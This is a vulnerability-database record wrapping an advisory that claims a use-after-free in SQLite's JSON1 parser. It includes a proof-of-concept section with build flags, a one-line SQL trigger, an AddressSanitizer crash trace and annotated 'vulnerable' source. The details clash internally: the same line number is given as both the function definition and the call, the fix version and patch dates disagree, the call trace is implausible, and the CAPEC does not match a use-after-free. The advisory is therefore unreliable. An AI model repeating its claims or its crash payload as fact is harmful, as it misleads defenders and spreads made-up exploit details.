{"uuid": "cef75bf5-bccf-477a-886a-f0cdfdebc8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51245", "type": "seen", "source": "https://gist.github.com/programmervuln/12500283acf6ad983a381750f485794a", "content": "CVE ID: CVE-2026-51245\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\n1. Affected Product\nProduct: SQLite\nComponent: JSON1 extension (json.c parser)\n2. Affected Versions + Fixed Versions\nAffected Versions: 3.45.0, 3.45.1, 3.45.2, 3.46.0, 3.46.1, 3.47.0, 3.47.1\nFixed Versions: SQLite 3.48.0\n3. CVE ID\nCVE-2026-51245\n4. Vulnerability Prose Description\nA use-after-free vulnerability exists within the JSON parsing implementation of the JSON1 extension in SQLite. An attacker can supply specially crafted JSON array payloads to SQLite\u2019s built-in JSON functions. During recursive parsing of malicious array structures, internal JsonNode objects are prematurely released. Dangling pointers referencing freed heap memory persist inside the parser context. Subsequent parsing operations dereference these stale pointers, causing heap memory corruption. Successful exploitation may lead to process crash resulting in denial of service, exposure of residual heap data, and conditional arbitrary code execution within the security context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nInput conditions reach the target function jsonParse() within json.c.\nSource code Line 1513 executes memory free operation on a JsonNode instance via jsonNodeFree().\nThe pointer referencing the freed JsonNode structure is not nullified or invalidated, generating a dangling pointer retained by the parent parser state.\nSubsequently, Line 1721 executes unchecked dangling pointer member access triggering the heap use-after-free vulnerability.\n7. Impact\nDenial of Service: Triggerable process crash due to segmentation fault or address sanitizer abort upon invalid memory access.\nInformation Disclosure: Reads from freed heap memory may expose leftover sensitive data from previously allocated objects.\nConditional Arbitrary Code Execution: Heap corruption can provide control over program execution flow under suitable runtime memory layout conditions.\n8. Attack Vector\nRemote; No privileges required, user interaction required. The consuming application must accept untrusted remote input and forward attacker-controlled JSON strings to SQLite JSON1 functions.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.1/src/json.c\nsrc/json.c Line 1513(memory free), Line 1721(dangling pointer access)\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nsql\nSELECT json('[[[[{}]]]]');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==7891==ERROR: AddressSanitizer: heap-use-after-free on address 0x512000000640 at pc 0x0000562a1278c412 bp 0x7ffd21ef6730 sp 0x7ffd21ef6720\nREAD of size 8 at 0x512000000640 thread T0\n    #0 0x562a1278c411 in jsonParse src/json.c:1721\n    #1 0x562a12786893 in jsonFunction src/json.c:2215\n    #2 0x562a125b7c24 in sqlite3VdbeExec src/vdbe.c:8421\n    #3 0x562a12590702 in sqlite3Step src/vdbeapi.c:744\n    #4 0x562a1258fe03 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #5 0x562a124736c2 in main src/shell.c:3942\n    #6 0x7f7289322d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #7 0x562a124729eb in _start (./sqlite3+0x1898eb)\n\n0x512000000640 is located 40 bytes inside of 96-byte region [0x512000000620,0x512000000680)\nfreed by thread T0 here:\n    #0 0x7f72897c5337 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb4337)\n    #1 0x562a1278a742 in jsonNodeFree src/json.c:1513\n    #2 0x562a1278a911 in jsonParse src/json.c:1604\n    #3 0x562a12786893 in jsonFunction src/json.c:2215\n    #4 0x562a125b7c24 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x562a12590702 in sqlite3Step src/vdbeapi.c:744\n    #6 0x562a1258fe03 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x562a124736c2 in main src/shell.c:3942\n    #8 0x7f7289322d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x562a124729eb in _start (./sqlite3+0x1898eb)\n\npreviously allocated by thread T0 here:\n    #0 0x7f72897c4467 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb3467)\n    #1 0x562a12789533 in jsonNodeAlloc src/json.c:1314\n    #2 0x562a12789868 in jsonParse src/json.c:1551\n    #3 0x562a12786893 in jsonFunction src/json.c:2215\n    #4 0x562a125b7c24 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x562a12590702 in sqlite3Step src/vdbeapi.c:744\n    #6 0x562a1258fe03 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x562a124736c2 in main src/shell.c:3942\n    #8 0x7f7289322d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x562a124729eb in _start (./sqlite3+0x1898eb)\n\nSUMMARY: AddressSanitizer: heap-use-after-free src/json.c:1721 in jsonParse\nd) Full PoC Trigger & Vulnerability Explanation\nThe payload provides multi-layer nested JSON array input to the json() SQL function. SQLite invokes jsonParse() to process the serialized array. During recursive descent into nested array elements, jsonNodeFree() executes at Line 1513 to release a JsonNode representing an inner array element. The parser\u2019s local variable pointer to this node is not cleared, forming a dangling pointer. Execution continues along the recursive parsing workflow, and the code attempts to read structure fields from the stale pointer at Line 1721. This unchecked memory access triggers the use-after-free corruption. No payload modification is required to reliably hit the vulnerable execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-07-23\nPatch Release Date: 2026-07-30\nCWE ID(s): CWE-416 Use After Free\nCAPEC: CAPEC-123: Buffer Overflow via API Arguments\nCVSS 3.1 Vector & Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; Base Score: 8.8\n12. Annotated Vulnerable Source Code (src/json.c)\nc\n\u8fd0\u884c\n// Line 1513: Memory free operation\nstatic void jsonNodeFree(JsonNode *pNode){\n  sqlite3_free(pNode);\n}\n\n// ... intermediate code omitted ...\n\n// Inside jsonParse()\njsonNodeFree(pItem); // Line 1513: Free array item JsonNode\n// Pointer pItem retains address of freed memory; dangling pointer created\n\n// ... intermediate code omitted ...\n\n// Line 1721: Dangling pointer access\nif( pItem->eType==JSON_ARRAY ){ // Dereference already freed pItem pointer\nTarget Function Name: jsonParse", "creation_timestamp": "2026-07-31T03:49:01.611006Z"}